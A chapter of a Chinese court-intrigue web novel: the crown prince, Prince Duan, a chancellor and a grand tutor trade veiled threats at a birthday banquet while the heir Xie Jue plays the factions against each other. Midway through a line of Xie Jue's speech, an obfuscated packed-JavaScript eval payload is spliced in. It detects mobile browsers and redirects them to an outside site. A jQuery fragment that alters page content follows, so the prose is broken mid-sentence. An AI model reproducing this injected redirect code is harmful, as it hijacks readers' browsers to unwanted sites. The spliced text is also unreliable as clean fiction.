廊下，太子的笑容淡了几分，声音压得极低，堪堪只有丞相一人能听见：“御史台那边，有人递了折子，参孤借赈灾粮款拉拢地方官员，此事舅舅可知晓？”


    丞相心头一跳，忙躬身道：“臣略有耳闻，只是折子被陛下压了下来，未曾公开议处。”


    “压了下来，不代表没人惦记。”太子端起侍从奉来的热茶，骨节分明的手指轻轻敲击着杯壁，声响清脆，语气却听不出半分喜怒，“孤倒想知道，这折子是谁递的，背后又站着谁。”


    丞相眸光闪烁，低声道：“殿下放心，臣这就去查，定不叫宵小之辈在暗中作祟。”


    太子微微颔首，目光越过廊下熙攘的宾客，落在庭院石桌旁的端王身上，唇角勾起一抹意味深长的笑。


    另一侧，齐太傅指尖捻着茶杯的杯托，目光若有似无地瞟向廊下，唇角噙着浅淡的笑意，声音压得极低，带着几分试探的意味：“王爷今日肯赏光前来，老臣心里实在欢喜。说起来，湘玉那丫头，自小就念着王爷的好，前几日还念叨着，要老臣这次寿宴一定要请王爷来。”


    端王指尖的动作一顿，垂眸看着杯中澄澈的茶水，眼底漫过一丝不易察觉的冷意。他自然知道太傅的心思，也记得母妃那日的叮嘱。


    太傅手握言官奏事之权，于他夺嫡之路至关重要，与齐家联姻，是最稳妥的一步棋。


    “太傅的心意，本王明白。”他抬眸，语气平淡得听不出半分情绪，既无欢喜，也无抗拒，“母妃先前已同本王提过此事，联姻之事，本王应了。”


    齐太傅脸上的笑意瞬间深了几分，捋着长须的手都微微发颤：“王爷肯应允，真是……真是老臣之幸，也是湘玉的福气！”


    “福气谈不上。”端王淡淡打断他，语气里带着几分疏离的漠然，“不过是各取所需罢了。”


    这话听得齐太傅心头一凛，却不敢表露分毫，只顺着他的话笑道：“王爷说的是。他日王爷成事，我齐家必定鼎力相助，肝脑涂地，在所不辞。”


    齐太傅心中明镜似的，这位端王素来对皇家婚事不上心，若非当今贵妃一力促成，这门亲事断无可能。


    恰在此时，廊下的太子端着茶杯，缓步走了过来，目光在二人身上转了一圈，笑意温和：“端王弟与太傅在此相谈甚欢，可是有什么趣事？”


    端王抬眸，与太子对视，唇角勾起一抹浅淡的弧度，语气平淡：“臣弟不过是与太傅闲话家常罢了。”


    齐太傅亦上前一步，拱手笑道：“殿下，方才臣还与王爷提及，今日府中的菊开得甚好呢。”


    太子顺着他的话，看向庭院中盛放的菊，眸光流转，笑意更深：“哦？如此，倒是要好好赏一赏了。”


    就在这剑拔弩张的当口，府门外又传来一阵爽朗的笑声，伴着少年清亮的嗓音：“太傅大人，晚辈来迟了，还望恕罪！”


    众人循声望去，只见靖安侯世子谢玦身着银白劲装，身姿挺拔，身后跟着个眉清目秀的少年，正是明霄。


    谢玦大步流星地走进来，先对着太子与端王拱手行礼：“臣谢玦，参见太子殿下，参见端王殿下。”


    明霄也跟着躬身行礼，少年人眉宇间的鲜活气，倒冲淡了不少前院的凝重。


    太子笑着抬手：“世子不必多礼，今日是太傅寿宴，不必拘于俗礼。”


    谢玦起身，连忙让明霄捧着紫檀木匣子上前，双手递到齐太傅面前，动作恭谨又不失少年人的利落。


    齐太傅博笑着接过，指尖刚触到匣子，便觉出几分沉甸甸的分量，他掀开镶嵌着螺钿的盖子，只见里面铺着一层金黄色锦缎，锦缎之上，静静躺着一方雕琢精美的和田玉砚，砚台边缘刻着祥瑞的图案，砚心温润通透，一看便知是上等珍品。


    “太傅请看，这方砚台是家父珍藏多年的旧物，听闻太傅素来喜爱文房雅器，便特意嘱咐我带来，权当贺寿之礼。”谢玦朗声道，语气里满是爽利，“说来惭愧，家父本是要亲自前来为太傅贺寿的，怎奈今日京郊大营突有军务，实在脱不开身，便让我代他前来，还望太傅莫要怪罪。”


    齐太傅连忙合上匣子，眉眼笑地摆手：“世子说道哪里话。靖安侯一心为国，老夫敬佩还来不及，怎会怪罪？倒是劳烦世子跑这一趟，快请坐，快请坐！”


    他一边说着，一边示意侍从赶紧添上座椅茶具。


    “听闻前几日世子在望京街捉拿细作，反被那细作污了声誉，可有此事？”太子端着茶杯，浅浅啜了一口，目光落在谢玦身上，语气听不出深意。


    谢玦拱了拱手，回道：“回太子殿下，确有此事。那日在酒楼，臣见户部尚书家的大公子正在调戏一名女子，便出手解围。谁知那女子看似弱不禁风，手上却有习武的痕迹，臣察觉不对，便将她带到了雅间询问。不曾想此人武功竟不输臣的贴身侍卫，借着酒楼宾客众多之际，竟就这么桃之夭夭，直到今日，臣也没能将她绳之以法。”


    谢玦话音落地，庭院里短暂静了一瞬，风卷着菊香掠过廊下，吹动几人的衣摆，却吹不散各自心头翻涌的盘算。


    太子手指仍在杯壁上轻轻叩着，眸底笑意未减，眼底却带着一丝冷笑。


    户部尚书是他的人，那户部尚书家的大公子纨绔的德行他早有耳闻，如今竟被谢玦撞破调戏细作的场面，倒真是桩棘手的纰漏。细作之事牵连甚广，若是被人揪着户部尚书的名头做文章，难免会扯出他与尚书的关系，进而将赈灾粮款的折子旧事重提。


    他抬眼看向谢玦，语气依旧温和：“世子行事果敢，只可惜那细作狡猾，竟叫她逃了。此事孤会吩咐京兆尹多上心，定要将此人捉拿归案。”话是说给谢玦听，余光却扫过端王，分明是在敲打。


    端王垂眸呷了口茶，茶雾氤氲了他的眼底的冷意。


    户部尚书是太子的人，这一点他比谁都清楚。谢玦撞见的这场闹剧，简直是送上来的把柄。细作、尚书之子、靖安侯世子，这几房牵扯在一起，足够搅起一阵风浪。


    太子想压下此事？怕是没那么容易。


    这般天意，像是老天都在助他。


    他唇角噙着一抹似有若无的笑，抬眼看向太子，慢悠悠开口：“皇兄仁心，只是京兆尹那边办事拖沓，依臣弟看，不如让谢世子继续追查，世子手段了得，定能事半功倍。”


    一句话，便将谢玦推到风口浪尖，也将这潭水搅得更浑。


    齐太傅捋着胡须的手微微一顿，抬眼看向端王，闻他此番话语，心中立马便欣慰了起来。


    户部尚书是太子心腹，谢玦是靖安侯的儿子，靖安侯手握兵权，向来中立。如今谢玦撞破尚书公子的丑事，又牵扯细作，这其中大有文章可做。


    顿时心领神会，忙顺着端王的话笑道：“端王所言极是。谢世子少年英雄，追查细作再适合不过。况且此事关乎太和城中的安危，老夫身为言官，也当奏请陛下，彻查此事。”


    他这话，明着为公，实则是要借着言官之权，将此事闹大，好让太子那边措手不及。


    丞相站在太子身侧，垂着眼帘遮住了眸中焦灼。


    他比太子更清楚，户部尚书那儿子就是个惹祸的根苗，如今竟撞上细作，简直是祸不单行。若是太傅真上奏陛下，御史台那帮人定会借机重提赈灾粮款的折子，到时候太子百口莫辩。


    他心念急转，表面却无比平静，缓上前一步，拱手笑道：“太傅此言差矣。京中治安本就是京兆尹的职责，若是事事劳烦世子与言官，岂不是显得朝廷官员无用？依老臣看，不如让京兆尹协同世子暗中追查，既不声张，也能早日捉拿细作，两全其美。”


    丞相这话，既给了太傅台阶，又想将此事暗处，免得节外生枝，牵扯出太子。


    几人各怀心思，言语间绵里藏针，字字句句都裹着刀光剑影。庭院的菊香似乎都染上了几分杀气之色。唯有谢玦站在原地，听着几人的交锋，墨色眉峰微不可察地挑了挑，眉眼间闪过一丝了然，随即又恢复了爽朗模样，仿佛对这场暗流涌动的博弈毫无察觉。


    谢玦装似没听出几人话里的机锋，爽朗一笑，拱手道：“多谢殿下与王爷抬爱，也是劳烦太傅挂心。追查细作本就是臣的分内之事，只是此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901500|188365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事牵连甚广，臣一人之力终究有限，若能得京兆尹相助，自然是再好不过。”


    这话既应了太子与丞相的“暗中追查”，又没驳端王和太傅的面子，滴水不漏。


    太子眸底的冷光暗了好几分，颔首笑道：“世子能有这份心思，甚好。此事便依丞相所言，你与京兆尹协同查办，切记不可声张。”


    端王放下茶杯，似笑非笑着：“世子倒是通透。只是本王担心，有些人心虚之下，怕是会暗中使绊子。”


    话音未落，丞相便沉声道：“王爷此言差矣。如今京中安稳为重，谁敢在这等事上动手脚，便是与朝廷为敌，陛下定不轻饶。”


    他笑着刻意加重了“陛下”二字，既是警告端王，也是在敲打那些蠢蠢运动想借此事生事的人。


    齐太傅慢悠悠道：“丞相说的是。只是老臣身为言官，职责所在，若是察觉有人徇私舞弊，断不会坐视不理。”


    几人唇枪舌剑，你来我往之间，庭院里的空气仿佛都凝滞起来。明霄站在谢玦身后，攥着的手都微微发紧，他虽不懂朝堂博弈的门道，却也能感受到此番压抑的气氛。


    恰在此时，一阵微风拂过，枝头的叶子簌簌落下几片树叶，飘到了太子的茶杯里。


    太子挑眉，抬手示意侍从换杯新茶，忽又朗声笑道：“今日是太傅寿辰，怎的倒说起这些烦心事来？来人，上酒！咱们今日不谈公务，只赏菊饮酒！”


    他这话一出，众人皆是会意，纷纷收起了锋芒。


    端王率先举杯，淡笑道：“皇兄说的是。太傅寿辰，理当尽兴。”


    齐太傅也连忙附和：“殿下所言极是，是老臣失言了。今日有酒有菊，还有诸位贵客，实乃人生一大乐事啊！”


    丞相跟着举杯，脸上堆起笑意，眼底却依旧藏着几分散不去的凝重。


    唯有谢玦看着杯晃动的酒水，眸底闪过一丝深思。


    此番寿宴，到真是让他来对了。本想置身之外，不知不觉间，竟也成了这局中的一颗棋子。


    酒过三巡，宾客们或聚在一处吟诗作对，或是围在花架下赏茶闲谈，前院的气氛看上热络融洽，实则暗潮仍在翻涌。


    谢玦借着更衣的由头，带着明霄离了席，拐进太傅府僻静的西廊。


    明霄终是按耐不住，压低声音问道：“世子，殿下不是让你来暗中观察么？方才那般与太子他们周旋，我听着都替你捏把汗，你怎么还一副云淡风轻的样子？”


    谢玦负手而立，望着墙角的几株丹桂，唇角勾起一抹浅淡的弧度：“慌什么？越是这时候，越要沉得住气。”他顿了顿，侧头看向明霄，眼底闪过一丝戏谑，“这不是给你家殿下制造机会。”


    明霄听得云里雾里，眉头蹙得更紧，忍不住追问：“制造机会？世子这话是什么意思？殿下只让我跟着你，说要盯紧寿宴上的动静，可我瞧着方才你分明把自己架在了风口浪尖上。”


    谢玦低笑一声，心里暗爽。


    反正萧凛时常借他身份办事，这等“风口浪尖”的好差事当然要为好兄弟想着了。


    笑着笑着目光便望向庭院的方向，那里依旧传来宾客的笑语声，只是这笑声落在他耳中，着实是虚伪。


    “你家殿下想坐山观虎斗，可若是连戏台都搭不起，这戏还怎么唱？”他声音压得极低，带着几分玩问，“太子丞相想要压下细作的事，端王要借事发难，太傅要帮端王造势，各怀心思，却都缺一个由头把这潭水搅浑。”


    他转头看向明霄，眼底的狡黠更甚：“我方才那番话，看似是周旋，实则是给他们递了把刀。太子与丞相觉得我在帮他稳住局面，端王觉得我能帮他搅动风云，太傅觉得我是个可用的棋子。”


    “他们越是惦记着拉拢我，就会着急出手，到时候，你家殿下就能看清，这两方势力的底牌究竟是什么了。”


    明霄愣了半晌，才猛地回过神来，眼底满是震惊：“世子......你这是在借力打力？”


    谢玦不置可否，只是轻笑一声，抬脚便要回走：“走了，再待下去，怕是有人要等不及了。”